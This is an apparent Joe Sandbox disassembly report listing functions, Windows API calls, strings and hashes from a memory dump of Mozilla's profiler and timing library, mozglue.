Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

Part of subcall function 6CACB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CACB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB0F739
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F746
GetCurrentThreadId.KERNEL32 ref: 6CB0F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB4385B,00000002,?,?,?,?,?), ref: 6CB0F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB0F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB0F866
free.MOZGLUE(?), ref: 6CB0FA0C

Part of subcall function 6CAD5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD5E8C
Part of subcall function 6CAD5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5E9D
Part of subcall function 6CAD5E60: GetCurrentThreadId.KERNEL32 ref: 6CAD5EAB
Part of subcall function 6CAD5E60: GetCurrentThreadId.KERNEL32 ref: 6CAD5EB8
Part of subcall function 6CAD5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5ECF
Part of subcall function 6CAD5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAD5F27
Part of subcall function 6CAD5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAD5F47
Part of subcall function 6CAD5E60: GetCurrentProcess.KERNEL32 ref: 6CAD5F53
Part of subcall function 6CAD5E60: GetCurrentThread.KERNEL32 ref: 6CAD5F5C
Part of subcall function 6CAD5E60: GetCurrentProcess.KERNEL32 ref: 6CAD5F66
Part of subcall function 6CAD5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAD5F7E

free.MOZGLUE(?), ref: 6CB0F9C5
free.MOZGLUE(?), ref: 6CB0F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB0F9A6
" attempted to re-register as ", xrefs: 6CB0F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CB0F71F
Thread , xrefs: 6CB0F789

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ff03443a8be01f67e87da3604d7d4af58a099735bea7c100d3e73e8052287390
Instruction ID: cdaed3a32971a9bd547f456ae0bc5f206d8e092159027a1c1bf342fcdc741896
Opcode Fuzzy Hash: ff03443a8be01f67e87da3604d7d4af58a099735bea7c100d3e73e8052287390
Instruction Fuzzy Hash: A081E271B086849FDB10DF24D840AAEBBB5FF85308F44856DE8499BB51EB31D849CB93

Function 6CB0EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0EE60
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EE6D
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB0EEA5
CloseHandle.KERNEL32(?), ref: 6CB0EEB4
free.MOZGLUE(00000000), ref: 6CB0EEBB
GetCurrentThreadId.KERNEL32 ref: 6CB0EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0EECF

Part of subcall function 6CB0DE60: GetCurrentThreadId.KERNEL32 ref: 6CB0DE73
Part of subcall function 6CB0DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAD4A68), ref: 6CB0DE7B
Part of subcall function 6CB0DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAD4A68), ref: 6CB0DEB8
Part of subcall function 6CB0DE60: free.MOZGLUE(00000000,?,6CAD4A68), ref: 6CB0DEFE
Part of subcall function 6CB0DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB0DF38

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CB0EF1E
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EF2B
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EF59
GetCurrentThreadId.KERNEL32 ref: 6CB0EFB0
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EFBD
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EFE1
GetCurrentThreadId.KERNEL32 ref: 6CB0EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F000

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB0F02F

Part of subcall function 6CB0F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB0F09B
Part of subcall function 6CB0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB0F0AC
Part of subcall function 6CB0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB0F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CB0F008
[I %d/%d] profiler_stop, xrefs: 6CB0EED7

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 9b1253108bb7ad728a36d1c826112f54a951bfee20a1cc78e411ab6b12fc8cf7
Instruction ID: 6a0456480317810f93d187342a3dc147b03ccae60b07796f83e26f326ab0dcf6
Opcode Fuzzy Hash: 9b1253108bb7ad728a36d1c826112f54a951bfee20a1cc78e411ab6b12fc8cf7
Instruction Fuzzy Hash: 3351F43570C6949FEF007B65D408BAE7BB4FB4636CF14C665EA6583B48DB704808C7A2

Function 6CAD5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5E9D

Part of subcall function 6CAE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B85
Part of subcall function 6CAE5B50: EnterCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B90
Part of subcall function 6CAE5B50: LeaveCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5BD8
Part of subcall function 6CAE5B50: GetTickCount64.KERNEL32 ref: 6CAE5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAD5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAD5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAD6017

Part of subcall function 6CAC4310: moz_xmalloc.MOZGLUE(00000010,?,6CAC42D2), ref: 6CAC436A
Part of subcall function 6CAC4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAC42D2), ref: 6CAC4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAD5F47
GetCurrentProcess.KERNEL32 ref: 6CAD5F53
GetCurrentThread.KERNEL32 ref: 6CAD5F5C
GetCurrentProcess.KERNEL32 ref: 6CAD5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAD5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAD5F27

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD5E8C

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD60CC

Strings

GeckoMain, xrefs: 6CAD5ECE, 6CAD6015

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: c37d75445657f486e90c73b6604eb7b610e2b306d3e86a3c9d2664b85f48ac2e
Instruction ID: 0381f0152bb360fe8f8c8c42b7d51937f552b21ce1105928113bedd3bf001858
Opcode Fuzzy Hash: c37d75445657f486e90c73b6604eb7b610e2b306d3e86a3c9d2664b85f48ac2e
Instruction Fuzzy Hash: 8871D4B06087808FD700DF25C480A6ABBF0FF49308F54896DE5868BB52D730F988CB92

Function 6CAD9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAC3217
Part of subcall function 6CAC31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAC3236
Part of subcall function 6CAC31C0: FreeLibrary.KERNEL32 ref: 6CAC324B
Part of subcall function 6CAC31C0: __Init_thread_footer.LIBCMT ref: 6CAC3260
Part of subcall function 6CAC31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAC327F
Part of subcall function 6CAC31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC328E
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAC32AB
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAC32D1
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAC32E5
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAC32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAD9675
__Init_thread_footer.LIBCMT ref: 6CAD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAD9707
__Init_thread_footer.LIBCMT ref: 6CAD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAD97B7
FreeLibrary.KERNEL32 ref: 6CAD97D0
FreeLibrary.KERNEL32 ref: 6CAD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAD9670
NtMapViewOfSection, xrefs: 6CAD9701
MapViewOfFileNuma2, xrefs: 6CAD97B1
ntdll.dll, xrefs: 6CAD96E3

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f0ec33e3f1e910acba242a23a61e78b388f322268120f25fbb121596c43cf7e7
Instruction ID: 58748ab7e39080f2f387508e840ac2d7dcdff29f9d6748399f15b21889fd8b9f
Opcode Fuzzy Hash: f0ec33e3f1e910acba242a23a61e78b388f322268120f25fbb121596c43cf7e7
Instruction Fuzzy Hash: BA61F575608201AFDF00EF78DA94B9A7BB5FB4A318F05C529F91593B44DB34E884CB91

Function 6CAD7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAD8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAD801D

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAD802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAD803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAD808D

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAD809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAD80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAD80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAD8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAD8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAD8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAD817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD8199

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: a627ba9d9d2244886bf8e213b7a31fc3c851d21fdb7b7d2d19bb2016c334b04e
Instruction ID: 82eaf61ae9d0dbd459572700ce5d76f1d606186037748957bbacc2665953c0a1
Opcode Fuzzy Hash: a627ba9d9d2244886bf8e213b7a31fc3c851d21fdb7b7d2d19bb2016c334b04e
Instruction Fuzzy Hash: 7E5196B1E001549BDB00DFA9DC849EFB7B9EF49324F191225E815E7741E730A948CBE1

Function 6CB26660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB4F618), ref: 6CB26694
GetThreadId.KERNEL32(?), ref: 6CB266B1
GetCurrentThreadId.KERNEL32 ref: 6CB266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB266E1
EnterCriticalSection.KERNEL32(6CB4F618), ref: 6CB26734
GetCurrentProcess.KERNEL32 ref: 6CB2673A
LeaveCriticalSection.KERNEL32(6CB4F618), ref: 6CB2676C
GetCurrentThread.KERNEL32 ref: 6CB267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB26868
RtlCaptureContext.NTDLL ref: 6CB2687F

Strings

WalkStack64, xrefs: 6CB26890

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: afdf557476f082f199f66c87baa6f4b651b0f78bf8f2220091e56fc2a7792393
Instruction ID: 29b8bb0b3c8898850993d9097a79f2f3d9700afb30e88f46f9298972649e2919
Opcode Fuzzy Hash: afdf557476f082f199f66c87baa6f4b651b0f78bf8f2220091e56fc2a7792393
Instruction Fuzzy Hash: D551AC71A09391AFD711DF24C844BAEBBF4FF89718F00892DF99887650D774A908CB92

Function 6CB0DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0DE73
GetCurrentThreadId.KERNEL32 ref: 6CB0DF7D
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0DF8A
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0DFC9
GetCurrentThreadId.KERNEL32 ref: 6CB0DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAD4A68), ref: 6CB0DE7B

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAD4A68), ref: 6CB0DEB8
free.MOZGLUE(00000000,?,6CAD4A68), ref: 6CB0DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB0DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CB0DE83
<none>, xrefs: 6CB0DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CB0E00E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 6678637fbe66a8504de4bc314eb9c5bc56be5501769098d3cf37e44fae4bcefe
Instruction ID: 1c7f71a12a3f5f9dc1840791d7160fb2c796a03e9d669714c6f2573e95aa62e0
Opcode Fuzzy Hash: 6678637fbe66a8504de4bc314eb9c5bc56be5501769098d3cf37e44fae4bcefe
Instruction Fuzzy Hash: 4F411735B095509BEF10AF74E804BAEBB75FB8531CF04C119EA0987B49CB319809CBE2

Function 6CB1D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D52A
GetCurrentThreadId.KERNEL32 ref: 6CB1D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D55F
free.MOZGLUE(00000000), ref: 6CB1D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB1D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB1D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D652
GetCurrentThreadId.KERNEL32 ref: 6CB1D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB1D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1D6A2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a5245ef77ad93c9f3e6ecf01f2462ad7410843a344bcf5ea32b5db4c38488ce4
Instruction ID: a4af768d39c8304cbb7fca202ab72f2f767137bdabc3aec8ffe42ea5b00c92a7
Opcode Fuzzy Hash: a5245ef77ad93c9f3e6ecf01f2462ad7410843a344bcf5ea32b5db4c38488ce4
Instruction Fuzzy Hash: 04516F71608B45EFC704DF35D484A9ABBF4FF89318F108A2EE95A87B11DB30A945CB91

Function 6CAE5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAE56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAE56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAE56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAE5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAE57BC
GetTickCount64.KERNEL32 ref: 6CAE58CB
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAE58F3
__aulldiv.LIBCMT ref: 6CAE5945
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAE59B2
